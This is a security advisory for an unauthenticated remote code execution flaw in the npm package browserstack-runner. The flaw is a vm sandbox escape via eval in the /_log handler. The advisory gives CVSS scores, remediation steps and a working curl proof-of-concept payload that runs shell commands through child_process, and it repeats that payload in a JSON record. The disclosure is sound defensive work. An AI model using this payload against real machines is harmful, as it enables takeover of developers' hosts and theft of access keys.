GHSA-6VR3-7WCX-V5G5

Vulnerability from github – Published: 2026-06-03 21:39 – Updated: 2026-06-03 21:39
VLAI
Summary
browserstack-runner vulnerable to Remote Code Execution via vm sandbox escape in _log HTTP handler
Details

Summary

The HTTP handler /_log in lib/server.js (lines 491–515) of browserstack-runner passes unauthenticated user-supplied data to vm.runInNewContext() combined with eval(), enabling a sandbox escape and arbitrary code execution on the host system.

Details

When browserstack-runner starts, it creates an HTTP server on port 8888 (configurable) that listens on all network interfaces (0.0.0.0). The /_log endpoint accepts POST requests and processes the JSON body as follows:

// lib/server.js lines 504-510
var context = { input: query.arguments, format: util.format, output: '' };
var tryEvalOrString = 'function (arg) { try { return eval(\'o = \' + arg); } catch (e) { return arg; } }';
vm.runInNewContext('output = format.apply(null, input.map(' + tryEvalOrString + '));', context);

The vm module is not a security mechanism per Node.js documentation. The context object contains a reference to util.format (a host-context Function), enabling sandbox escape via this.constructor.constructor("return process")().

Unlike the _progress and _report handlers which verify worker UUID authentication, the _log handler does not gate on authentication.

Proof of Concept

# Terminal 1: start the runner
echo '<html><body>t</body></html>' > t.html
echo '{"username":"X","key":"X","test_path":"t.html","test_framework":"qunit","browsers":[]}' > browserstack.json
node bin/runner.js

# Terminal 2: exploit
curl -s http://127.0.0.1:8888/_log \
  -H "Content-Type: application/json" \
  -d '{"arguments":["this.constructor.constructor(\"return process.mainModule.require(\`child_process\`).execSync(\`id\`).toString()\")()"]}'

# Terminal 1 output shows:
# [undefined] uid=1000(user) gid=1000(user) ...

Impact

An attacker on the same network as a developer running browserstack-runner can execute arbitrary commands on the developer's machine without authentication. The attack window exists for the duration of the test run (typically 1–15 minutes). The BrowserStack access key is accessible in the same process context via environment variables.

Remediation

  1. Remove eval() and vm.runInNewContext() from the _log handler — use JSON.stringify() for safe logging
  2. Add UUID authentication to _log (matching _progress and _report handlers)
  3. Bind the HTTP server on 127.0.0.1 instead of 0.0.0.0

Credit

Christ Bowel Bouchuen

Severity
8.8 (High)
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
8.7 (High)
CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "browserstack-runner"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.9.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-49143"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-03T21:39:32Z",
    "nvd_published_at": "2026-06-02T21:16:28Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe HTTP handler `/_log` in `lib/server.js` (lines 491\u2013515) of browserstack-runner passes unauthenticated user-supplied data to `vm.runInNewContext()` combined with `eval()`, enabling a sandbox escape and arbitrary code execution on the host system.\n\n### Details\n\nWhen `browserstack-runner` starts, it creates an HTTP server on port 8888 (configurable) that listens on all network interfaces (`0.0.0.0`). The `/_log` endpoint accepts POST requests and processes the JSON body as follows:\n\n```javascript\n// lib/server.js lines 504-510\nvar context = { input: query.arguments, format: util.format, output: \u0027\u0027 };\nvar tryEvalOrString = \u0027function (arg) { try { return eval(\\\u0027o = \\\u0027 + arg); } catch (e) { return arg; } }\u0027;\nvm.runInNewContext(\u0027output = format.apply(null, input.map(\u0027 + tryEvalOrString + \u0027));\u0027, context);\n```\n\nThe `vm` module is [not a security mechanism](https://nodejs.org/api/vm.html#vm-executing-javascript) per Node.js documentation. The `context` object contains a reference to `util.format` (a host-context Function), enabling sandbox escape via `this.constructor.constructor(\"return process\")()`.\n\nUnlike the `_progress` and `_report` handlers which verify worker UUID authentication, the `_log` handler does not gate on authentication.\n\n### Proof of Concept\n\n```bash\n# Terminal 1: start the runner\necho \u0027\u003chtml\u003e\u003cbody\u003et\u003c/body\u003e\u003c/html\u003e\u0027 \u003e t.html\necho \u0027{\"username\":\"X\",\"key\":\"X\",\"test_path\":\"t.html\",\"test_framework\":\"qunit\",\"browsers\":[]}\u0027 \u003e browserstack.json\nnode bin/runner.js\n\n# Terminal 2: exploit\ncurl -s http://127.0.0.1:8888/_log \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"arguments\":[\"this.constructor.constructor(\\\"return process.mainModule.require(\\`child_process\\`).execSync(\\`id\\`).toString()\\\")()\"]}\u0027\n\n# Terminal 1 output shows:\n# [undefined] uid=1000(user) gid=1000(user) ...\n```\n\n### Impact\n\nAn attacker on the same network as a developer running `browserstack-runner` can execute arbitrary commands on the developer\u0027s machine without authentication. The attack window exists for the duration of the test run (typically 1\u201315 minutes). The BrowserStack access key is accessible in the same process context via environment variables.\n\n### Remediation\n\n1. Remove `eval()` and `vm.runInNewContext()` from the `_log` handler \u2014 use `JSON.stringify()` for safe logging\n2. Add UUID authentication to `_log` (matching `_progress` and `_report` handlers)\n3. Bind the HTTP server on `127.0.0.1` instead of `0.0.0.0`\n\n### Credit\n\nChrist Bowel Bouchuen",
  "id": "GHSA-6vr3-7wcx-v5g5",
  "modified": "2026-06-03T21:39:32Z",
  "published": "2026-06-03T21:39:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/browserstack/browserstack-runner/security/advisories/GHSA-6vr3-7wcx-v5g5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49143"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/browserstack/browserstack-runner"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/browserstack-runner-unauthenticated-rce-via-log-http-handler"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "browserstack-runner vulnerable to Remote Code Execution via vm sandbox escape in _log HTTP handler"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.